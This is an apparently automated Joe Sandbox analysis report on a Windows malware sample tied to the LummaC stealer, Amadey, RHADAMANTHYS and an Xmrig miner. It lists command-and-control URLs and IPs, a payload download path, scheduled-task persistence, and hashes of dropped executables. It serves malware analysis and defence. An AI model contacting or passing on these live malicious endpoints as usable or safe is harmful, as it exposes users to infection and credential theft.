https://pancakedipyps.click/api/	d2cb36d600.exe, 0000000B.00000003.2375581338.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190430554.000000000136C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377133921.000000000136D000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php~	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.2681819982.000000000145B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2681819982.0000000001419000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 00000008.00000002.2144680645.0000000000AF2000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002D.00000002.2416628529.00000000014DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	d2cb36d600.exe, 0000000B.00000003.2239540861.0000000003B6D000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2514277271.0000000003A47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sweepyribs.lat:443/api	9f237e29d5.exe, 0000002F.00000003.2466238120.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/N	9f237e29d5.exe, 0000002F.00000003.2616619099.0000000001330000.00000004.00000020.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2570423163.0000000001330000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	Intel_PTT_EK_Recertification.exe, 00000024.00000003.2335547631.000001AB56C60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.2341537822.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
http://usbtor.ru/viewtopic.php?t=798)Z	95ae71a780.exe, 0000000C.00000002.2671264301.0000000000423000.00000002.00000001.01000000.0000000A.sdmp, 95ae71a780.exe, 0000000C.00000003.2239333580.0000000000951000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apiFj	9f237e29d5.exe, 0000002F.00000003.2537049958.0000000003A16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe/C	skotes.exe, 00000006.00000002.2681819982.00000000013A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	d2cb36d600.exe, 0000000B.00000003.2241449211.0000000003AF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/apigs	9f237e29d5.exe, 0000002F.00000003.2466498392.0000000001308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pancakedipyps.click/la	d2cb36d600.exe, 0000000B.00000003.2270333586.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2270263915.00000000013A9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375485674.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2377229160.00000000013B9000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355246636.00000000013B1000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375415933.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2355380887.00000000013B8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	d2cb36d600.exe, 0000000B.00000003.2191195235.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191092860.0000000003A9B000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2191279908.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 9f237e29d5.exe, 0000002F.00000003.2467698964.00000000039C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe	svchost.exe, 00000029.00000002.2371900204.000000000283C000.00000004.00000010.00020000.00000000.sdmp	false		high
https://pancakedipyps.click/pi	d2cb36d600.exe, 0000000B.00000003.2190430554.000000000136C000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2190331950.0000000001357000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	true
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577193
Start date and time:	2024-12-18 09:05:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@72/40@3/6
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 20.109.210.53
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target d2cb36d600.exe, PID 7648 because there are no executed function
Execution Graph export aborted for target d2cb36d600.exe, PID 7656 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:07:01	API Interceptor	205105x Sleep call for process: skotes.exe modified
03:07:17	API Interceptor	8x Sleep call for process: d2cb36d600.exe modified
03:07:35	API Interceptor	12x Sleep call for process: powershell.exe modified
03:07:42	API Interceptor	9x Sleep call for process: 9f237e29d5.exe modified
09:06:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:07:32	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.23.76	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	http://www.czeywd.net/perishing-flavoring/7ec4w2395u86zL12Q21YJ51Rc07R28UHsr8D_u4IIr-6IwxfhDtvsFEsvZ7zQboRoK5AH10Y6B1i@Xb	Get hash	malicious	Phisher	Browse
	http://www.chkfmrc.net/a7f5s2n395K86ll11i1Uf0fw9dez18gZ_asttfFibYG4EsvZ7JQ1o9RR5zVW106Ik2i3b/shamefully-illogical	Get hash	malicious	Unknown	Browse
	http://www.chkfmrc.net/a7f5s2n395K86ll11i1Uf0fw9dez18gZ_asttfFibYG4EsvZ7JQ1o9RR5zVW106Ik2i3b/shamefully-illogical	Get hash	malicious	Phisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.209.202
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	188.114.96.6

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse	104.20.7.133
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.29.213.135
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.2.110
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	http://australianpianowarehouse.com.au	Get hash	malicious	Anonymous Proxy	Browse	104.21.96.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	104.18.95.41
	SmartEasyPDF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	hades.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
AEROEXPRESS-ASRU	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	31.41.244.11
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
CLOUDFLARENETUS	https://t.ly/2PGC5	Get hash	malicious	Unknown	Browse	104.20.7.133
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.29.213.135
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.2.110
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	http://australianpianowarehouse.com.au	Get hash	malicious	Anonymous Proxy	Browse	104.21.96.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.23.76
	Invoice.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	http://recp.mkt81.net/ctt?m=9201264&r=MjcwMzc5ODk4MTM3S0&b=0&j=MTY4MDU5NzgyOAS2&k=Language&kx=1&kt=12&kd=//docs.google.com/drawings/d/1GBvP8EGp9_63LeC_UMSYm_dkcuk4Q6yrMmrOzMDg_wk/preview?pli=1	Get hash	malicious	Unknown	Browse	104.18.95.41
	SmartEasyPDF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	hades.exe	Get hash	malicious	Unknown	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	172.67.179.109 104.21.23.76
	loader.exe	Get hash	malicious	LummaC	Browse	172.67.179.109 104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.179.109 104.21.23.76
	MeP66xi1AM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.179.109 104.21.23.76
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.109 104.21.23.76
	CapCut_12.0.4_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.179.109 104.21.23.76
	lavita.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.179.109 104.21.23.76

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Poverty Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
SSDEEP:	12288:4mOcxtujRb4+DR8KwzkS5AMtCxCz3z8JAS3p9+TPtN4+DR8KwzkS5AMtCxCz3z8U:lGtPWQ8C8z3zcB59CNPWQ8C8z3zcB590
MD5:	8A9CB17C0224A01BD34B46495983C50A
SHA1:	00296EA6A56F6E10A0F1450A20C5FB329B8856C1
SHA-256:	3D51B9523B387859BC0D94246DFB216CFA82F9D650C8D11BE11ED67F70E7440B
SHA-512:	1472E4670F469C43227B965984ECC223A526F6284363D8E08A3B5B55E602CCCE62DF4BC49939EE5BD7DF7B0C26E20DA896B084ECCAB767F8728E6BF14D71C840
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........`......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1997824
Entropy (8bit):	7.95358397297698
Encrypted:	false
SSDEEP:	49152:2yL5ewo1kMMzT5v5rBtN3KqMp8AlaLrFSJbY:2yNewoQzlv5oqMMLrFSJbY
MD5:	BD7AFE46E12BF9F5E618CA61FE125634
SHA1:	AADC53BDF1FC6F6949E8B39B6344DFBBFCD67643
SHA-256:	CF152965A474D633F886D13A72887971B6FA42E13C988C849700E25D4E7383BD
SHA-512:	1A6439A02E7E7B2E2BA2609A11212F0DDC7F69542A433D6BD2D724CAE280F872EB32ABC80434EFE43609588B622CC237B3A8ED527B7B5A17FC4986A6A525CB8C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^.......`L...........@...........................L...........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... .`*..........V..............@...kucwzsnp.....P2......X..............@...vgfkproo.....PL......V..............@....taggant.0...`L.."...Z..............@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulvvS///Z:NllUi
MD5:	55BC955DC3003949E539647F9FBE420D
SHA1:	BF2448042589EBF7D4DF5590F9FCDDD65D091BEE
SHA-256:	9D89A8C1E8F6E379DFB09D13BF027251D33BD5C5ED903242EF2AA76482890D71
SHA-512:	F20E3FC2724FA273DD183D178EDC21BFE56888E6409FE7028401816413F2BC69157A1ABDD265349744E41845985B8087DCF62C9E75F5637D1413B6B258B1C838
Malicious:	false
Preview:	@...e...................................7............@..........

C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
